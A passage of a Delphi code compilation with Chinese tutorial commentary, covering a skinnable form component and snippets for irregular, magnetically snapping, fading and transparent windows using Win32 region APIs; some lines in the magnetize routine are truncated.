if Strs.Count = 9 then

Text := Strs.Strings[8]

else

Text := '';

end;

end;

///////////////

Count := SkinFile.ReadInteger('TRACKBARINFO', 'Count', 0);

{$IFDEF DELPHI3}

FTrackBarCount := Count;

{$ELSE}

SetLength(FTrackBarInfoArray, Count);

{$ENDIF}

for iLoop := 1 to Count do

begin

Strs.Clear;

s := SkinFile.ReadString('TRACKBARINFO', IntToStr(iLoop), 'NOT_DEFINED, NOT_DEFINED, NOT_DEFINED, 0, 0, 0, H');

CommaTextToStrs(Strs, s, ',');

FTrackBarInfoArray[iLoop-1].ID := Strs.Strings[0];

if FTrackBarInfoArray[iLoop-1].UpBitmap <> nil then FTrackBarInfoArray[iLoop-1].UpBitmap.Free;

FTrackBarInfoArray[iLoop-1].UpBitmap := TBitmap.Create;

FTrackBarInfoArray[iLoop-1].UpBitmap.LoadFromFile(BitmapPath + Strs.Strings[1]);

if FTrackBarInfoArray[iLoop-1].DownBitmap <> nil then FTrackBarInfoArray[iLoop-1].DownBitmap.Free;

FTrackBarInfoArray[iLoop-1].DownBitmap := TBitmap.Create;

FTrackBarInfoArray[iLoop-1].DownBitmap.LoadFromFile(BitmapPath + Strs.Strings[2]);

FTrackBarInfoArray[iLoop-1].x := StrToInt(Strs.Strings[3]);

FTrackBarInfoArray[iLoop-1].y := StrToInt(Strs.Strings[4]);

FTrackBarInfoArray[iLoop-1].Length := StrToInt(Strs.Strings[5]) - FTrackBarInfoArray[iLoop-1].UpBitmap.Width;

if Strs.Strings[6] = 'V' then

FTrackBarInfoArray[iLoop-1].Direction := FALSE

else

FTrackBarInfoArray[iLoop-1].Direction := TRUE;

if Strs.Count = 8 then

FTrackBarInfoArray[iLoop-1].Position := StrToInt(Strs.Strings[7])

else

FTrackBarInfoArray[iLoop-1].Position := 0;

end;

Strs.Free;

SkinFile.Free;

Refresh;

if Assigned(FOnSkinChanged) then FOnSkinChanged(Self);

end;

procedure TSkinForm.LoadAllBitmap(FromResource : Boolean; const Mask, MouseUp, MouseDown, MouseOn : string);

begin

if (FromResource = TRUE) then

begin

LoadBitmapResource(FMaskBitmap, Mask);

LoadBitmapResource(FMouseUpBitmap, MouseUp);

LoadBitmapResource(FMouseOnBitmap, MouseOn);

LoadBitmapResource(FMouseDownBitmap, MouseDown);

end

else

begin

LoadBitmapFile(FMaskBitmap, Mask);

LoadBitmapFile(FMouseUpBitmap, MouseUp);

LoadBitmapFile(FMouseOnBitmap, MouseOn);

LoadBitmapFile(FMouseDownBitmap, MouseDown);

end;

Parent.Width := FMaskBitmap.Width;

Parent.Height := FMaskBitmap.Height;

Parent.ClientWidth := FMaskBitmap.Width;

Parent.ClientHeight := FMaskBitmap.Height;

Picture := nil;

Width := FMaskBitmap.Width;

Height := FMaskBitmap.Height;

FRegion := Bitmap2Region(FMaskBitmap, FKeyColor, FTolerance);

SetWindowRgn(Parent.Handle, FRegion, TRUE);

Refresh;

end;

procedure TSkinForm.MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

var

i : integer;

begin

FClassID := '';

bInHotArea := FALSE;

bDragTrackBar := FALSE;

iDragTrackBar := -1;

If Button = mbLeft then

begin

{$IFDEF DELPHI3}

for i := 0 to FHotAreaCount - 1 do

{$ELSE}

for i := 0 to Length(FHotAreaInfoArray) - 1 do

{$ENDIF}

begin

if PtInRect(Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x + FHotAreaInfoArray[i].Width,

FHotAreaInfoArray[i].y + FHotAreaInfoArray[i].Height),

Point(X, Y)) then

begin

Canvas.CopyRect(Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x+FHotAreaInfoArray[i].Width, FHotAreaInfoArray[i].y+FHotAreaInfoArray[i].Height),

FMouseDownBitmap.Canvas,

Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x+FHotAreaInfoArray[i].Width, FHotAreaInfoArray[i].y+FHotAreaInfoArray[i].Height));

bInHotArea := TRUE;

FClassID := FHotAreaInfoArray[i].ID;

if FHotAreaInfoArray[i].bLockable then

begin

FHotAreaInfoArray[i].bSwitchOn := not FHotAreaInfoArray[i].bSwitchOn;

if FHotAreaInfoArray[i].bSwitchOn then

Canvas.CopyRect(Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x+FHotAreaInfoArray[i].Width, FHotAreaInfoArray[i].y+FHotAreaInfoArray[i].Height),

FMouseDownBitmap.Canvas,

Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x+FHotAreaInfoArray[i].Width, FHotAreaInfoArray[i].y+FHotAreaInfoArray[i].Height))

else

Canvas.CopyRect(Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x+FHotAreaInfoArray[i].Width, FHotAreaInfoArray[i].y+FHotAreaInfoArray[i].Height),

FMouseUpBitmap.Canvas,

Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x+FHotAreaInfoArray[i].Width, FHotAreaInfoArray[i].y+FHotAreaInfoArray[i].Height));

end;

break;

end;

end;

///////////////

{$IFDEF DELPHI3}

for i := 0 to FTrackBarCount - 1 do

{$ELSE}

for i := 0 to Length(FTrackBarInfoArray) - 1 do

{$ENDIF}

begin

if PtInRect(Rect(FTrackBarInfoArray[i].x + (FTrackBarInfoArray[i].Length * FTrackBarInfoArray[i].Position) div 100,

FTrackBarInfoArray[i].y,

FTrackBarInfoArray[i].x + ((FTrackBarInfoArray[i].Length * FTrackBarInfoArray[i].Position) div 100) + FTrackBarInfoArray[i].UpBitmap.Width,

FTrackBarInfoArray[i].y + FTrackBarInfoArray[i].UpBitmap.Height),

Point(X, Y)) then

begin

FClassID := FTrackBarInfoArray[i].ID;

bDragTrackBar := TRUE;

iDragTrackBar := i;

break;

end;

end;

end;

If ((Button = mbLeft) and (bInHotArea = FALSE) and (bDragTrackBar = FALSE)) then

begin

ReleaseCapture;

TWincontrol (Parent).Perform (WM_SYSCOMMAND, SC_MOVE or HTCAPTION, 0);

end;

MouseDownNotify(FClassID, Button, Shift, X, Y);

end;

procedure TSkinForm.MouseMove(Shift: TShiftState; X, Y: Integer);

var

i : integer;

begin

if FbNeedRedraw then Refresh;

FbLastState := FbThisState;

FClassID := '';

if bDragTrackBar = TRUE then

begin

{$IFDEF DELPHI3}

for i := 0 to FTrackBarCount - 1 do

{$ELSE}

for i := 0 to Length(FTrackBarInfoArray) - 1 do

{$ENDIF}

begin

if PtInRect(Rect(FTrackBarInfoArray[i].x,FTrackBarInfoArray[i].y,

FTrackBarInfoArray[i].x + FTrackBarInfoArray[i].Length,

FTrackBarInfoArray[i].y + FTrackBarInfoArray[i].UpBitmap.Height),

Point(X, Y)) then

begin

if iDragTrackBar = i then

begin

FClassID := FTrackBarInfoArray[i].ID;

FTrackBarInfoArray[i].Position := Trunc(100*(X-FTrackBarInfoArray[i].x)/FTrackBarInfoArray[i].Length);

Refresh;

end;

end;

end;

end;

{$IFDEF DELPHI3}

for i := 0 to FHotAreaCount - 1 do

{$ELSE}

for i := 0 to Length(FHotAreaInfoArray) - 1 do

{$ENDIF}

begin

if PtInRect(Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x + FHotAreaInfoArray[i].Width,

FHotAreaInfoArray[i].y + FHotAreaInfoArray[i].Height),

Point(X, Y)) then

begin

FbThisState := TRUE;

FClassID := FHotAreaInfoArray[i].ID;

if FEnableMouseOnBitmap = TRUE then

Canvas.CopyRect(Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x+FHotAreaInfoArray[i].Width, FHotAreaInfoArray[i].y+FHotAreaInfoArray[i].Height),

FMouseOnBitmap.Canvas,

Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x+FHotAreaInfoArray[i].Width, FHotAreaInfoArray[i].y+FHotAreaInfoArray[i].Height));

break;

end;

FbThisState := FALSE;

end;

if FbLastState <> FbThisState then FbNeedRedraw := TRUE;

MouseMoveNotify(FClassID, Shift, X, Y);

end;

procedure TSkinForm.MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

var

i : integer;

begin

FClassID := '';

bDragTrackBar := FALSE;

iDragTrackBar := -1;

{$IFDEF DELPHI3}

for i := 0 to FHotAreaCount - 1 do

{$ELSE}

for i := 0 to Length(FHotAreaInfoArray) - 1 do

{$ENDIF}

begin

if PtInRect(Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x + FHotAreaInfoArray[i].Width,

FHotAreaInfoArray[i].y + FHotAreaInfoArray[i].Height),

Point(X, Y)) then

begin

FClassID := FHotAreaInfoArray[i].ID;

break;

end;

end;

Refresh;

MouseUpNotify(FClassID, Button, Shift, X, Y);

end;

procedure TSkinForm.Refresh;

var

i, old: integer;

Offset : integer;

begin

Canvas.Draw(0, 0, FMouseUpBitmap);

{$IFDEF DELPHI3}

for i := 0 to FHotAreaCount - 1 do

{$ELSE}

for i := 0 to Length(FHotAreaInfoArray) - 1 do

{$ENDIF}

begin

if FHotAreaInfoArray[i].bLockable then

begin

if FHotAreaInfoArray[i].bSwitchOn then

Canvas.CopyRect(Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x+FHotAreaInfoArray[i].Width, FHotAreaInfoArray[i].y+FHotAreaInfoArray[i].Height),

FMouseDownBitmap.Canvas,

Rect(FHotAreaInfoArray[i].x, FHotAreaInfoArray[i].y,

FHotAreaInfoArray[i].x+FHotAreaInfoArray[i].Width, FHotAreaInfoArray[i].y+FHotAreaInfoArray[i].Height));

end;

end;

{$IFDEF DELPHI3}

for i := 0 to FTrackBarCount - 1 do

{$ELSE}

for i := 0 to Length(FTrackBarInfoArray) - 1 do

{$ENDIF}

begin

Offset := FTrackBarInfoArray[i].Position * FTrackBarInfoArray[i].Length div 100;

if i = iDragTrackBar then

Canvas.Draw(FTrackBarInfoArray[i].x + Offset, FTrackBarInfoArray[i].y, FTrackBarInfoArray[i].DownBitmap)

else

Canvas.Draw(FTrackBarInfoArray[i].x + Offset, FTrackBarInfoArray[i].y, FTrackBarInfoArray[i].UpBitmap);

end;

{$IFDEF DELPHI3}

for i := 0 to FDisplayCount - 1 do

{$ELSE}

for i := 0 to Length(FDisplayInfoArray) - 1 do

{$ENDIF}

begin

old := GetBkMode(Canvas.Handle);

SetBkMode(Canvas.Handle,1);

Canvas.Font.Assign(FDisplayInfoArray[i].Font);

Canvas.Textout(FDisplayInfoArray[i].x, FDisplayInfoArray[i].y, FDisplayInfoArray[i].Text);

SetBkMode(Canvas.Handle,old);

end;

FbNeedRedraw := FALSE;

end;

procedure TSkinForm.MouseDownNotify(ID : string; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

if assigned(FOnMouseDownNotify) then FOnMouseDownNotify(ID, Button, Shift, X, Y);

end;

procedure TSkinForm.MouseUpNotify(ID : string; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

if assigned(FOnMouseUpNotify) then FOnMouseUpNotify(ID, Button, Shift, X, Y);

end;

procedure TSkinForm.MouseMoveNotify(ID : string; Shift: TShiftState; X, Y: Integer);

begin

if assigned(FOnMouseMoveNotify) then FOnMouseMoveNotify(ID, Shift, X, Y);

end;

function TSkinForm.GetHotAreaState(ID : string) : Boolean;

var

i : integer;

begin

result := FALSE;

{$IFDEF DELPHI3}

for i := 0 to FHotAreaCount - 1 do

{$ELSE}

for i := 0 to Length(FHotAreaInfoArray) - 1 do

{$ENDIF}

begin

if FHotAreaInfoArray[i].ID = ID then

begin

result := FHotAreaInfoArray[i].bSwitchOn;

break;

end;

end;

end;

procedure TSkinForm.SetDisplayText(ID : string; Text : string);

var

i : integer;

begin

{$IFDEF DELPHI3}

for i := 0 to FDisplayCount - 1 do

{$ELSE}

for i := 0 to Length(FDisplayInfoArray) - 1 do

{$ENDIF}

begin

if FDisplayInfoArray[i].ID = ID then

begin

FDisplayInfoArray[i].Text := Text;

break;

end;

end;

Refresh;

end;

procedure TSkinForm.SetCharset(Charset : TFontCharset);

var

i : integer;

begin

FCharset := Charset;

{$IFDEF DELPHI3}

for i := 0 to FDisplayCount - 1 do

{$ELSE}

for i := 0 to Length(FDisplayInfoArray) - 1 do

{$ENDIF}

begin

FDisplayInfoArray[i].Font.Charset := Charset;

end;

Refresh;

end;

function TSkinForm.GetTrackBarPos(ID : string) : integer;

var

i : integer;

begin

result := 0;

{$IFDEF DELPHI3}

for i := 0 to FTrackBarCount - 1 do

{$ELSE}

for i := 0 to Length(FTrackBarInfoArray) - 1 do

{$ENDIF}

begin

if FTrackBarInfoArray[i].ID = ID then

begin

result := FTrackBarInfoArray[i].Position;

break;

end;

end;

end;

function MinByte(B1, B2: byte): byte;

begin

if B1 < B2 then

Result := B1

else

Result := B2;

end;

// This function programmed by Eddie Shipman

function Bitmap2Region( hBmp: TBitmap; TransColor: TColor; Tolerance: TColor): HRGN;

const

ALLOC_UNIT = 100;

var

MemDC, DC: HDC;

BitmapInfo: TBitmapInfo;

hbm32, holdBmp, holdMemBmp: HBitmap;

pbits32 : Pointer;

bm32 : BITMAP;

maxRects: DWORD;

hData: HGLOBAL;

pData: PRgnData;

b, LR, LG, LB, HR, HG, HB: Byte;

p32: pByte;

x, x0, y: integer;

p: pLongInt;

pr: PRect;

h: HRGN;

begin

Result := 0;

if hBmp <> nil then

begin

{ Create a memory DC inside which we will scan the bitmap contents }

MemDC := CreateCompatibleDC(0);

if MemDC <> 0 then

begin

{ Create a 32 bits depth bitmap and select it into the memory DC }

with BitmapInfo.bmiHeader do

begin

biSize := sizeof(TBitmapInfoHeader);

biWidth := hBmp.Width;

biHeight := hBmp.Height;

biPlanes := 1;

biBitCount := 32;

biCompression := BI_RGB; { (0) uncompressed format }

biSizeImage := 0;

biXPelsPerMeter := 0;

biYPelsPerMeter := 0;

biClrUsed := 0;

biClrImportant := 0;

end;

hbm32 := CreateDIBSection(MemDC, BitmapInfo, DIB_RGB_COLORS, pbits32,0, 0);

if hbm32 <> 0 then

begin

holdMemBmp := SelectObject(MemDC, hbm32);

{

Get how many bytes per row we have for the bitmap bits

(rounded up to 32 bits)

}

GetObject(hbm32, SizeOf(bm32), @bm32);

while (bm32.bmWidthBytes mod 4) > 0 do

inc(bm32.bmWidthBytes);

DC := CreateCompatibleDC(MemDC);

{ Copy the bitmap into the memory DC }

holdBmp := SelectObject(DC, hBmp.Handle);

BitBlt(MemDC, 0, 0, hBmp.Width, hBmp.Height, DC, 0, 0, SRCCOPY);

{

For better performances, we will use the ExtCreateRegion() function

to create the region. This function take a RGNDATA structure on

entry. We will add rectangles by

amount of ALLOC_UNIT number in this structure

}

maxRects := ALLOC_UNIT;

hData := GlobalAlloc(GMEM_MOVEABLE, sizeof(TRgnDataHeader) +

SizeOf(TRect) * maxRects);

pData := GlobalLock(hData);

pData^.rdh.dwSize := SizeOf(TRgnDataHeader);

pData^.rdh.iType := RDH_RECTANGLES;

pData^.rdh.nCount := 0;

pData^.rdh.nRgnSize := 0;

SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);

{ Keep on hand highest and lowest values for the "transparent" pixel }

LR := GetRValue(ColorToRGB(TransColor));

LG := GetGValue(ColorToRGB(TransColor));

LB := GetBValue(ColorToRGB(TransColor));

{ Add the value of the tolerance to the "transparent" pixel value }

HR := MinByte($FF, LR + GetRValue(ColorToRGB(Tolerance)));

HG := MinByte($FF, LG + GetGValue(ColorToRGB(Tolerance)));

HB := MinByte($FF, LB + GetBValue(ColorToRGB(Tolerance)));

{

Scan each bitmap row from bottom to top,

the bitmap is inverted vertically

}

p32 := bm32.bmBits;

inc(PChar(p32), (bm32.bmHeight - 1) * bm32.bmWidthBytes);

for y := 0 to hBmp.Height-1 do

begin

{ Scan each bitmap pixel from left to right }

x := -1;

while x+1 < hBmp.Width do

begin

inc(x);

{ Search for a continuous range of "non transparent pixels" }

x0 := x;

p := PLongInt(p32);

inc(PChar(p), x * SizeOf(LongInt));

while x < hBmp.Width do

begin

b := GetBValue(p^); // Changed from GetRValue(p^)

if (b >= LR) and (b <= HR) then

begin

b := GetGValue(p^); // Left alone

if (b >= LG) and (b <= HG) then

begin

b := GetRValue(p^); // Changed from GetBValue(p^)

if (b >= LB) and (b <= hb) then

{ This pixel is "transparent" }

break;

end;

end;

inc(PChar(p), SizeOf(LongInt));

inc(x);

end;

if x > x0 then

begin

{

Add the pixels (x0, y) to (x, y+1) as a new rectangle in

the region

}

if pData^.rdh.nCount >= maxRects then

begin

GlobalUnlock(hData);

inc(maxRects, ALLOC_UNIT);

hData := GlobalReAlloc(hData, SizeOf(TRgnDataHeader) +

SizeOf(TRect) * maxRects, GMEM_MOVEABLE);

pData := GlobalLock(hData);

Assert(pData <> NIL);

end;

pr := @pData^.Buffer[pData^.rdh.nCount * SizeOf(TRect)];

SetRect(pr^, x0, y, x, y+1);

if x0 < pData^.rdh.rcBound.Left then

pData^.rdh.rcBound.Left := x0;

if y < pData^.rdh.rcBound.Top then

pData^.rdh.rcBound.Top := y;

if x > pData^.rdh.rcBound.Right then

pData^.rdh.rcBound.Left := x;

if y+1 > pData^.rdh.rcBound.Bottom then

pData^.rdh.rcBound.Bottom := y+1;

inc(pData^.rdh.nCount);

{

On Windows98, ExtCreateRegion() may fail if the number of

rectangles is too large (ie: > 4000). Therefore, we have to

create the region by multiple steps

}

if pData^.rdh.nCount = 2000 then

begin

h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +

(SizeOf(TRect) * maxRects), pData^);

Assert(h <> 0);

if Result <> 0 then

begin

CombineRgn(Result, Result, h, RGN_OR);

DeleteObject(h);

end else

Result := h;

pData^.rdh.nCount := 0;

SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);

end;

end;

end;

{

Go to next row (remember, the bitmap is inverted vertically)

that is why we use DEC!

}

Dec(PChar(p32), bm32.bmWidthBytes);

end;

{ Create or extend the region with the remaining rectangle }

h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +

(SizeOf(TRect) * maxRects), pData^);

Assert(h <> 0);

if Result <> 0 then

begin

CombineRgn(Result, Result, h, RGN_OR);

DeleteObject(h);

end else

Result := h;

{ Clean up }

GlobalFree(hData);

SelectObject(DC, holdBmp);

DeleteDC(DC);

DeleteObject(SelectObject(MemDC, holdMemBmp));

end;

end;

DeleteDC(MemDC);

end;

end;

// This function programmed by jscalco@idealsw.com

procedure CommaTextToStrs( AStrs: TStrings;

const Value: string ;

const AchDelim : Char );

var

P, P1 : PChar;

S : string;

chDelim : char ;

begin

chDelim := AchDelim ;

AStrs.BeginUpdate;

try

AStrs.Clear;

P := PChar(Value);

while P^ in [#1..' '] do

P := CharNext(P);

while P^ <> #0 do

begin

if ( P^ = '"' ) then

S := AnsiExtractQuotedStr(P, '"')

else

begin

P1 := P;

while (P^ >= ' ') and ( P^ <> chDelim ) do

P := CharNext(P);

SetString(S, P1, P - P1);

end;

AStrs.Add(S);

while P^ in [#1..' '] do

P := CharNext(P);

if P^ = chDelim then // P^ = ',' then

repeat

P := CharNext(P);

until not (P^ in [#1..' ']);

end; // while

finally

AStrs.EndUpdate;

end;

end;

procedure Register;

begin

RegisterComponents('My Favorites', [TSkinForm]);

end;

end.


不规则形状的Form

下面的内容摘自 <未经证实的葵花宝典>,感谢原作者

四四方方的窗体也会变形，利用win32 API函数setwindowrgn就可以将窗口定义为任何形状，以下是将窗口定义为园角矩形的例子：

procedure TPortForm.FormCreate(Sender: Tobject);

var hr :thandle;

begin

hr:=createroundrectrgn(0,0,width,height,20,20);//定义园角矩形(win API函数)

setwindowrgn(handle,hr,true); //设置园角窗口

end;

为了使该窗口更好，应在onResize事件处理程序放相同的代码。

/////////////////////////////////////

用汉字做窗体形状

procedure TForm1.FormCreate(Sender: TObject);

var

rgn:HRGN;

begin

BeginPath(Canvas.Handle);

SetBkMode( Canvas.Handle, TRANSPARENT );

Canvas.Font.Name:= '宋体';

Canvas.Font.Size:=100;

Canvas.TextOut( 20, 20, '漂亮吗?');//用"漂亮吗?"作为form的形状

EndPath(Canvas.Handle);

rgn:= PathToRegion(Canvas.Handle);

SetWindowRgn( Handle, rgn, true );

end;


不规则窗体

这里有创建椭圆窗体的一段代码

procedure TFrmMain.FormCreate(Sender: TObject);

var

rgn:HRGN;

begin

rgn:=CreateEllipticRgn(0,0,150,150);

SetWindowRgn(self.Handle, rgn, true);

end;

更一般的用CreatePolygonRgn代替CreateEllipticRgn就可以做出任意形状的窗体了


Winamp风格磁化窗口

拦截WM_MOVE消息即可

type

TForm1 = class(TForm)

private

procedure WMMOVE(var Msg: TMessage); message WM_MOVE;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

{ TForm1 }

procedure TForm1.WMMOVE(var Msg: TMessage);

begin

Inherited;

if (Left < 10) and (Top < 10) and

(Left <> 0) and (Top <> 0) then // 设定移动到左上角 10 点范围内时贴到边上去

begin

Left := 0;

Top := 0;

Msg.Result := 0;

end;

end;

end.

Winamp的用户都知道，Winamp的播放列表或均衡器在被移动的时候，仿佛会受到一股磁力，每当靠近主窗口时就一下子被“吸附”过去，自动沿边对齐。我想让我的Winamp插件也具备这种奇妙特性，于是琢磨出了一种“磁化”窗口的方法。该法适用于Delphi的各个版本。为了演示这种技术，请随我来制作一个会被Winamp“吸引”的样板程序。

    先新建一应用程序项目，把主窗口Form1适当改小些，并将BorderStyle设为bsNone。放一个按钮元件，双击它并在OnClick事件中写“Close;”。待会儿就按它来结束程序。现在切换到代码编辑区，定义几个全局变量。

    var

     Form1: TForm1; //“磁性”窗口

     LastX, LastY: Integer; //记录前一次的坐标

     WinampRect:Trect; //保存Winamp窗口的矩形区域

     hwnd_Winamp:HWND; //Winamp窗口的控制句柄

    接着编写Form1的OnMouseDown和OnMouseMove事件。

    procedure TForm1.FormMouseDown(Sender: Tobject; Button: TMouseButton;

     Shift: TShiftState; X, Y: Integer);

    const

     ClassName=‘Winamp v1.x’; //Winamp主窗口的类名

     //如果改成ClassName=‘TAppBuilder’，你就会发现连Delphi也有引力啦！

    begin

    //记录当前坐标

    LastX := X;

    LastY := Y;

    //查找Winamp

    hwnd_Winamp := FindWindow(ClassName,nil);

    if hwnd_Winamp>0 then //找到的话，记录其窗口区域

    GetWindowRect(hwnd_Winamp, WinampRect);

    end;

    procedure TForm1.FormMouseMove(Sender: Tobject; Shift: TShiftState; X,

     Y: Integer);

    var

     nLeft,nTop:integer; //记录新位置的临时变量

    begin

    //检查鼠标左键是否按下

     if HiWord(GetAsyncKeyState(VK_LBUTTON)) > 0 then

     begin

     //计算新坐标

     nleft := Left ＋ X － LastX;

     nTop := Top ＋ Y － LastY;

     //如果找到Winamp，就修正以上坐标，产生“磁化”效果

     if hwnd_Winamp>0 then

     Magnetize(nleft,ntop);

     //重设窗口位置

     SetBounds(nLeft,nTop,width,height);

     end;

    end;

    别急着，看Magnetize()过程，先来了解一下修正坐标的原理。根据对Winamp实现效果的观察，我斗胆给所谓“磁化”下一个简单的定义，就是“在原窗口与目标窗口接近到某种预定程度，通过修正原窗口的坐标，使两窗口处于同一平面且具有公共边的过程”。依此定义，我设计了以下的“磁化”步骤。第一步，判断目标窗口(即Winamp)和我们的Form1在水平及垂直方向上的投影线是否重叠。“某方向投影线有重叠”是“需要进行坐标修正”的必要非充分条件。判断依据是两投影线段最右与最左边界的差减去它们宽度和的值的正负。第二步，判断两窗口对应边界是否靠得足够近了。肯定的话就让它们合拢。

    好了，下面便是“神秘”的Magnetize过程了……

    procedure TForm1.Magnetize(var nl,nt:integer);

     //内嵌两个比大小的函数

     function Min(a,b:integer):integer;

     begin

     if a>b then result:=b else result:=a;

     end;

     function Max(a,b:integer):integer;

     begin

     if a 　　 end;

    var

     H_Overlapped,V_Overlapped:boolean; //记录投影线是否重叠

     tw,ww,wh:integer; //临时变量

    const

     MagneticForce:integer=50; //“磁力”的大小。

     //准确的说，就是控制窗口边缘至多相距多少像素时需要修正坐标

     //为了演示，这里用一个比较夸张的数字--50。

     //一般可以用20左右，那样比较接近Winamp的效果

    begin

    //判断水平方向是否有重叠投影

    ww := WinampRect.Right－WinampRect.Left;

    tw := Max(WinampRect.Right,nl＋Width)－Min(WinampRect.Left,nl);

    H_Overlapped := tw<=(Width＋ww);

    //再判断垂直方向

    wh := WinampRect.Bottom－WinampRect.Top;

    tw := Max(WinampRect.Bottom,nt＋Height)－Min(WinampRect.Top,nt);

    V_Overlapped := tw<=(Height＋wh);

    //足够接近的话就调整坐标

    if H_Overlapped then

     begin

     if Abs(WinampRect.Bottom－nt)

else if Abs(nt＋Height－WinampRect.Top)

end;

    if V_Overlapped then

     begin

     if Abs(WinampRect.Right－nl)

else if Abs(nl＋Width－WinampRect.Left)

end;

    end;

    怎么样？运行后效果不错吧！

    我设计的一个卡拉OK插件就应用了这种技术，你可以到http://www.lotof.com/lyrics去下载它作为参考。


淡入淡出

我这里有一个淡入淡出的程序，把关键的部分贴上，你自己看吧，希望对你有帮助。

procedure TFormDaisy.ButtonFadeOutClick(Sender: TObject);

VAR

Bitmap : TBitmap;

i : INTEGER;

j : INTEGER;

Row : pRGBTripleArray;

RowBase: pRGBTripleArray;

step : INTEGER;

begin

Bitmap := TBitmap.Create;

TRY

Bitmap.PixelFormat := pf24bit;

Bitmap.Width := ImageRGB.Width;

Bitmap.Height := ImageRGB.Height;

FOR step := 32 DOWNTO 0 DO

BEGIN

FOR j := 0 TO Bitmap.Height-1 DO

BEGIN

RowBase := BitmapBase.Scanline[j];

Row := Bitmap.Scanline[j];

FOR i := 0 TO Bitmap.Width-1 DO

BEGIN // 32 = 2^5

Row[i].rgbtRed := (step * RowBase[i].rgbtRed ) SHR 5;

Row[i].rgbtGreen := (step * RowBase[i].rgbtGreen) SHR 5;

Row[i].rgbtBlue := (step * RowBase[i].rgbtBlue ) SHR 5

END

END;

ImageRGB.Picture.Graphic := Bitmap;

// Use API calls to avoid flicker.

// See VCL Repaint alternative in FadeIn

InvalidateRect(FormDaisy.Handle, NIL {whole window},

FALSE {don't erase background});

RedrawWindow(FormDaisy.Handle, NIL, 0, RDW_UPDATENOW);

END

FINALLY

Bitmap.Free;

END;

end;

procedure TFormDaisy.ButtonFadeInClick(Sender: TObject);

VAR

Bitmap : TBitmap;

i : INTEGER;

j : INTEGER;

Row : pRGBTripleArray;

RowBase: pRGBTripleArray;

step : INTEGER;

begin

Bitmap := TBitmap.Create;

TRY

Bitmap.PixelFormat := pf24bit;

Bitmap.Width := ImageRGB.Width;

Bitmap.Height := ImageRGB.Height;

FOR step := 0 TO 32 DO

BEGIN

FOR j := 0 TO Bitmap.Height-1 DO

BEGIN

RowBase := BitmapBase.Scanline[j];

Row := Bitmap.Scanline[j];

FOR i := 0 TO Bitmap.Width-1 DO

BEGIN // 32 = 2^5

Row[i].rgbtRed := (step * RowBase[i].rgbtRed ) SHR 5;

Row[i].rgbtGreen := (step * RowBase[i].rgbtGreen) SHR 5;

Row[i].rgbtBlue := (step * RowBase[i].rgbtBlue ) SHR 5

END

END;

// This is just as effective as the API calls.

// (See API call alternative in FadeOut.)

ImageRGB.Picture.Graphic := Bitmap;

ImageRGB.Repaint

END

FINALLY

Bitmap.Free;

END;

end;


透明窗口的源代码

unit Unit1;

{The transparent form effect is done with Regions.

First create a region that encompasses the entire form.

Then, find the client area of the form (Client vs. non-Client) and

combine with the full region with RGN_DIFF to make the borders

and title bar visible. Then create a region for each of the

controls and combine them with the original (FullRgn) region.}

{From various posts in the newsgroups - based on some famous

author I'm sure, but I first saw the post by Kerstin Thaler...}

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Panel1: TPanel;

Button2: TButton;

procedure FormDestroy(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure FormResize(Sender: TObject);

private

{ Private declarations }

procedure DoVisible;

procedure DoInvisible;

public

{ Public declarations }

end;

var

Form1: TForm1;

FullRgn, ClientRgn, CtlRgn : THandle;

implementation

{$R *.DFM}

procedure TForm1.DoInvisible;

var

AControl : TControl;

A, Margin, X, Y, CtlX, CtlY : Integer;

begin

Margin := ( Width - ClientWidth ) div 2;

//First, get form region

FullRgn := CreateRectRgn(0, 0, Width, Height);

//Find client area region

X := Margin;

Y := Height - ClientHeight - Margin;

ClientRgn := CreateRectRgn( X, Y, X + ClientWidth, Y + ClientHeight );

//'Mask' out all but non-client areas

CombineRgn( FullRgn, FullRgn, ClientRgn, RGN_DIFF );

//Now, walk through all the controls on the form and 'OR' them

// into the existing Full region.

for A := 0 to ControlCount - 1 do begin

AControl := Controls[A];

if ( AControl is TWinControl ) or ( AControl is TGraphicControl )

then with AControl do begin

if Visible then begin

CtlX := X + Left;

CtlY := Y + Top;

CtlRgn := CreateRectRgn( CtlX, CtlY, CtlX + Width, CtlY + Height );

CombineRgn( FullRgn, FullRgn, CtlRgn, RGN_OR );

end;

end;

end;

//When the region is all ready, put it into effect:

SetWindowRgn(Handle, FullRgn, TRUE);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

//Clean up the regions we created

DeleteObject(ClientRgn);

DeleteObject(FullRgn);

DeleteObject(CtlRgn);

end;

procedure TForm1.DoVisible;

begin

//To restore complete visibility:

FullRgn := CreateRectRgn(0, 0, Width, Height);

